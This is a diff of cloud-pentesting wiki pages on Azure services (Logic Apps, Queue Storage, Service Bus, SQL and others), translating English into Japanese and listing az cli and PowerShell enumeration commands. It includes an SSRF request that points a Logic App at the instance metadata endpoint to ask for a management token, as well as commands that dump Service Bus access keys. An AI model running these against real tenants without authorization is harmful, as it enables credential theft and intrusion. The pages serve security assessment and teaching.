@@ -252,19 +249,14 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,41 +2,38 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス、データソース、アプリケーションを統合するワークフローを作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
|
||||
|
||||
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
|
||||
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。
|
||||
|
||||
### Examples
|
||||
### 例
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
|
||||
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
|
||||
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセスを自動化**できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
|
||||
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーし、動的なデータ処理を可能にすることが挙げられます。
|
||||
|
||||
### Visualize a LogicAPP
|
||||
### LogicAPPの可視化
|
||||
|
||||
It's possible to view a LogicApp with graphics:
|
||||
グラフィックでLogicAppを表示することができます:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
or to check the code in the "**Logic app code view**" section.
|
||||
または、"**Logic app code view**"セクションでコードを確認することができます。
|
||||
|
||||
### SSRF Protection
|
||||
### SSRF保護
|
||||
|
||||
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
|
||||
|
||||
For example, something like this won't return the token:
|
||||
たとえ**Logic AppがSSRFに対して脆弱である**ことがわかっても、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
|
||||
|
||||
たとえば、次のようなものはトークンを返しません:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
@@ -47,11 +44,9 @@ az logic workflow definition show --name <LogicAppName> --resource-group <Resour
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
|
||||
```powershell
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
@@ -62,12 +57,7 @@ Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,59 +2,49 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Management Groups
|
||||
## 管理グループ
|
||||
|
||||
You can find more info about Management Groups in:
|
||||
管理グループに関する詳細情報は、以下で確認できます:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# List
|
||||
az account management-group list
|
||||
# Get details and management groups and subscriptions that are children
|
||||
az account management-group show --name <name> --expand --recurse
|
||||
```
|
||||
## サブスクリプション
|
||||
|
||||
## Subscriptions
|
||||
|
||||
You can find more info about Subscriptions in:
|
||||
サブスクリプションに関する詳細情報は以下で確認できます:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# List all subscriptions
|
||||
az account list --output table
|
||||
# Get details
|
||||
az account management-group subscription show --name <management group> --subscription <subscription>
|
||||
```
|
||||
## リソースグループ
|
||||
|
||||
## Resource Groups
|
||||
|
||||
You can find more info about Resource Groups in:
|
||||
リソースグループに関する詳細情報は、以下で確認できます:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# List all resource groups
|
||||
az group list
|
||||
# Get resource groups of specific subscription
|
||||
az group list --subscription "<subscription>" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
|
||||
Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計された、MicrosoftのAzureクラウドプラットフォームのサービスです。**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBです。キューの作成と削除、メッセージの追加、取得、更新、削除、メタデータとアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出し(FIFO)方式で処理されますが、厳密なFIFOは保証されていません。
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
@@ -27,11 +26,9 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PS" }}
|
||||
|
||||
```bash
|
||||
# Get the Storage Context
|
||||
$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
|
||||
@@ -64,36 +61,31 @@ $visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
|
||||
$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
|
||||
$queueMessage.Value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Privilege Escalation
|
||||
### 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### ポストエクスプロイテーション
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-queue-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### 永続性
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-queue-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,53 +4,52 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
|
||||
Azure Service Busは、アプリケーションの異なる部分または別のアプリケーション間の信頼性のある**通信**を可能にするために設計されたクラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** its purpose is to store messages until the receiver is ready.
|
||||
- Messages are ordered, timestamped, and durably stored.
|
||||
- Delivered in pull mode (on-demand retrieval).
|
||||
- Supports point-to-point communication.
|
||||
2. **Topics:** Publish-subscribe messaging for broadcasting.
|
||||
- Multiple independent subscriptions receive copies of messages.
|
||||
- Subscriptions can have rules/filters to control delivery or add metadata.
|
||||
- Supports many-to-many communication.
|
||||
3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
|
||||
1. **キュー:** 受信者が準備できるまでメッセージを保存することを目的としています。
|
||||
- メッセージは順序付けられ、タイムスタンプが付けられ、耐久性のあるストレージに保存されます。
|
||||
- プルモード(オンデマンド取得)で配信されます。
|
||||
- ポイントツーポイント通信をサポートします。
|
||||
2. **トピック:** ブロードキャストのためのパブリッシュ-サブスクライブメッセージング。
|
||||
- 複数の独立したサブスクリプションがメッセージのコピーを受け取ります。
|
||||
- サブスクリプションには、配信を制御したりメタデータを追加するためのルール/フィルターを持つことができます。
|
||||
- 多対多通信をサポートします。
|
||||
3. **ネームスペース:** すべてのメッセージングコンポーネント、キュー、トピックのコンテナであり、強力なAzureクラスターの自分専用のスライスのようなもので、専用のキャパシティを提供し、オプションで3つの可用性ゾーンにまたがることができます。
|
||||
|
||||
### Advance Features
|
||||
|
||||
Some advance features are:
|
||||
いくつかの高度な機能は次のとおりです:
|
||||
|
||||
- **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
|
||||
- **Auto-Forwarding**: Transfers messages between queues or topics in the same namespace.
|
||||
- **Dead-Lettering**: Captures undeliverable messages for review.
|
||||
- **Scheduled Delivery**: Delays message processing for future tasks.
|
||||
- **Message Deferral**: Postpones message retrieval until ready.
|
||||
- **Transactions**: Groups operations into atomic execution.
|
||||
- **Filters & Actions**: Applies rules to filter or annotate messages.
|
||||
- **Auto-Delete on Idle**: Deletes queues after inactivity (min: 5 minutes).
|
||||
- **Duplicate Detection**: Removes duplicate messages during resends.
|
||||
- **Batch Deletion**: Bulk deletes expired or unnecessary messages.
|
||||
- **メッセージセッション**: FIFO処理を保証し、リクエスト-レスポンスパターンをサポートします。
|
||||
- **自動転送**: 同じネームスペース内のキューまたはトピック間でメッセージを転送します。
|
||||
- **デッドレター**: 配信できないメッセージをレビューのためにキャプチャします。
|
||||
- **スケジュール配信**: 将来のタスクのためにメッセージ処理を遅延させます。
|
||||
- **メッセージ延期**: 準備ができるまでメッセージの取得を延期します。
|
||||
- **トランザクション**: 操作を原子的な実行にグループ化します。
|
||||
- **フィルターとアクション**: メッセージをフィルタリングまたは注釈を付けるためのルールを適用します。
|
||||
- **アイドル時の自動削除**: 非アクティブな後にキューを削除します(最小: 5分)。
|
||||
- **重複検出**: 再送信中に重複メッセージを削除します。
|
||||
- **バッチ削除**: 期限切れまたは不要なメッセージを一括削除します。
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
|
||||
SASポリシーは、Azure Service Busエンティティネームスペース(最も重要なもの)、キュー、およびトピックのアクセス権限を定義します。各ポリシーには次のコンポーネントがあります:
|
||||
|
||||
- **Permissions**: Checkboxes to specify access levels:
|
||||
- Manage: Grants full control over the entity, including configuration and permissions management.
|
||||
- Send: Allows sending messages to the entity.
|
||||
- Listen: Allows receiving messages from the entity.
|
||||
- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
|
||||
- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
|
||||
- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
|
||||
- **権限**: アクセスレベルを指定するためのチェックボックス:
|
||||
- 管理: エンティティに対する完全な制御を付与し、構成や権限管理を含みます。
|
||||
- 送信: エンティティにメッセージを送信することを許可します。
|
||||
- リスン: エンティティからメッセージを受信することを許可します。
|
||||
- **プライマリおよびセカンダリキー**: アクセスを認証するための安全なトークンを生成するために使用される暗号化キーです。
|
||||
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの簡単な使用のために提供されます。
|
||||
- **SASポリシーARM ID**: プログラムによる識別のためのポリシーへのAzureリソースマネージャー(ARM)パスです。
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -78,27 +77,22 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### ポストエクスプロイテーション
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,100 +4,99 @@
|
||||
|
||||
## Azure SQL
|
||||
|
||||
Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
|
||||
Azure SQLは、**Azureクラウド内のSQL Serverデータベースエンジン**を使用する、管理された、安全で、インテリジェントな製品のファミリーです。これにより、サーバーの物理管理を心配する必要がなく、データの管理に集中できます。
|
||||
|
||||
Azure SQL consists of three main offerings:
|
||||
Azure SQLは、主に3つの提供形態から成り立っています:
|
||||
|
||||
1. **Azure SQL Database**: This is a **fully-managed database service**, which allows you to host individual databases in the Azure cloud. It offers built-in intelligence that learns your unique database patterns and provides customized recommendations and automatic tuning.
|
||||
2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
|
||||
3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.
|
||||
1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動チューニングを提供する組み込みのインテリジェンスを備えています。
|
||||
2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装を提供し、オンプレミスSQL Server顧客にとって有利なビジネスモデルを提供します。
|
||||
3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service(IaaS)で、オンプレミスで実行されているサーバーのように、**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。
|
||||
|
||||
### Azure SQL Database
|
||||
|
||||
**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
|
||||
**Azure SQL Database**は、**完全管理型データベースプラットフォームとしてのサービス(PaaS)**で、スケーラブルで安全なリレーショナルデータベースソリューションを提供します。最新のSQL Server技術に基づいており、インフラ管理の必要がなく、クラウドベースのアプリケーションに人気の選択肢となっています。
|
||||
|
||||
#### Key Features
|
||||
#### 主な機能
|
||||
|
||||
- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
|
||||
- **PaaS Capabilities**: Built-in high availability, backups, and updates.
|
||||
- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
|
||||
- **常に最新**: 最新の安定版SQL Serverで実行され、新機能やパッチを自動的に受け取ります。
|
||||
- **PaaS機能**: 組み込みの高可用性、バックアップ、更新。
|
||||
- **データの柔軟性**: リレーショナルデータと非リレーショナルデータ(例:グラフ、JSON、空間、XML)をサポート。
|
||||
|
||||
#### Purchasing Models / Service Tiers
|
||||
#### 購入モデル / サービスタイア
|
||||
|
||||
- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
|
||||
- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
|
||||
- Standard: Balanced resources for common tasks.
|
||||
- Premium: High performance for demanding workloads.
|
||||
- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択。一般的な用途、ビジネスクリティカル(OLTPアプリ向けの高い耐障害性とパフォーマンス)で、最大128TBのストレージにスケールアップ。
|
||||
- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドル。一般的なタスクに対するバランスの取れたリソース。
|
||||
- スタンダード: 一般的なタスクに対するバランスの取れたリソース。
|
||||
- プレミアム: 要求の厳しいワークロード向けの高パフォーマンス。
|
||||
|
||||
#### Deployment Models
|
||||
#### デプロイメントモデル
|
||||
|
||||
Azure SQL Database supports flexible deployment options to suit various needs:
|
||||
Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロイメントオプションをサポートしています:
|
||||
|
||||
- **Single Database**:
|
||||
- A fully isolated database with its own dedicated resources.
|
||||
- Great for microservices or applications requiring a single data source.
|
||||
- **Elastic Pool**:
|
||||
- Allows multiple databases to share resources within a pool.
|
||||
- Cost-efficient for applications with fluctuating usage patterns across multiple databases.
|
||||
- **シングルデータベース**:
|
||||
- 専用リソースを持つ完全に孤立したデータベース。
|
||||
- マイクロサービスや単一のデータソースを必要とするアプリケーションに最適。
|
||||
- **エラスティックプール**:
|
||||
- 複数のデータベースがプール内でリソースを共有できる。
|
||||
- 複数のデータベース間で使用パターンが変動するアプリケーションにコスト効率的。
|
||||
|
||||
#### Scalable performance and pools
|
||||
#### スケーラブルなパフォーマンスとプール
|
||||
|
||||
- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
|
||||
- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
|
||||
- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
|
||||
- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
|
||||
- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールアップまたはスケールダウンできます(1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB)。
|
||||
- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを節約します。プール全体のリソースも動的にスケールできます。
|
||||
- **サービスティアの柔軟性**: 一般的な用途のティアでシングルデータベースから小さく始めます。ニーズが増えるにつれてビジネスクリティカルまたはハイパースケールティアにアップグレードします。
|
||||
- **スケーリングオプション**: 動的スケーリングまたはオートスケーリングの代替。
|
||||
|
||||
#### Built-In Monitoring & Optimization
|
||||
#### 組み込みの監視と最適化
|
||||
|
||||
- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
|
||||
- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
|
||||
- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
|
||||
- **クエリストア**: パフォーマンスの問題を追跡し、主要なリソース消費者を特定し、実行可能な推奨事項を提供します。
|
||||
- **自動チューニング**: 自動インデックス作成やクエリプラン修正などの機能でパフォーマンスを積極的に最適化します。
|
||||
- **テレメトリー統合**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。
|
||||
|
||||
#### Disaster Recovery & Availavility
|
||||
#### 災害復旧と可用性
|
||||
|
||||
- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
|
||||
- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
|
||||
- **Geo-Redundancy**
|
||||
- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
|
||||
- **自動バックアップ**: SQL Databaseは、データベースのフル、差分、およびトランザクションログバックアップを自動的に実行します。
|
||||
- **ポイントインタイムリストア**: バックアップ保持期間内の任意の過去の状態にデータベースを復元します。
|
||||
- **地理的冗長性**
|
||||
- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを行うことで、災害復旧を簡素化します。
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
|
||||
**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
|
||||
**Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスク(例:アップグレード、パッチ適用、バックアップ、監視)を自動的に処理するプラットフォームとしてのサービス(PaaS)データベースエンジンです。最小限の変更でオンプレミスSQL Serverデータベースを移行するためのクラウドソリューションを提供します。
|
||||
|
||||
#### Service Tiers
|
||||
#### サービスタイア
|
||||
|
||||
- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
|
||||
- **Business Critical**: High-performance option with low I/O latency for critical workloads.
|
||||
- **一般的な用途**: 標準的なI/Oおよびレイテンシ要件を持つアプリケーション向けのコスト効率の良いオプション。
|
||||
- **ビジネスクリティカル**: 重要なワークロード向けの低I/Oレイテンシを持つ高パフォーマンスオプション。
|
||||
|
||||
#### Advanced Security Features
|
||||
#### 高度なセキュリティ機能
|
||||
|
||||
* **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
|
||||
* **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
|
||||
* **Backups**: Automated and manual backups with point-in-time restore capability.
|
||||
* **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベントの追跡とログ記録。
|
||||
* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かいアクセス制御のための行レベルセキュリティと動的データマスキング。
|
||||
* **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動バックアップ。
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
|
||||
**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
|
||||
**Azure SQL Virtual Machines**は、オンプレミスで実行されているサーバーのように、**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや、さまざまなSQL Serverバージョンとエディションを選択できます。
|
||||
|
||||
#### Key Features
|
||||
#### 主な機能
|
||||
|
||||
**Automated Backup**: Schedule backups for SQL databases.
|
||||
**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
|
||||
**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
|
||||
**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
|
||||
**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
|
||||
**自動バックアップ**: SQLデータベースのバックアップをスケジュールします。
|
||||
**自動パッチ適用**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。
|
||||
**Azure Key Vault統合**: SQL Server VMのためにKey Vaultを自動的に構成します。
|
||||
**Defender for Cloud統合**: ポータルでSQLの推奨事項を表示します。
|
||||
**バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更できます。
|
||||
|
||||
#### Security Features
|
||||
#### セキュリティ機能
|
||||
|
||||
**Microsoft Defender for SQL**: Security insights and alerts.
|
||||
**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
|
||||
**Microsoft Entra (Azure AD)**: Authentication and access control.
|
||||
**Microsoft Defender for SQL**: セキュリティインサイトとアラート。
|
||||
**Azure Key Vault統合**: 認証情報と暗号化キーの安全な保管。
|
||||
**Microsoft Entra(Azure AD)**: 認証とアクセス制御。
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List Servers
|
||||
az sql server list # --output table
|
||||
@@ -164,11 +163,9 @@ az sql midb show --resource-group <res-grp> --name <name>
|
||||
az sql vm list
|
||||
az sql vm show --resource-group <res-grp> --name <name>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
@@ -206,60 +203,51 @@ Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <
|
||||
# Lis all sql VM
|
||||
Get-AzSqlVM
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Connect and run SQL queries
|
||||
|
||||
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
|
||||
### 接続してSQLクエリを実行する
|
||||
|
||||
例として[Az WebAppの列挙](az-app-services.md)から接続文字列(資格情報を含む)を見つけることができます:
|
||||
```powershell
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
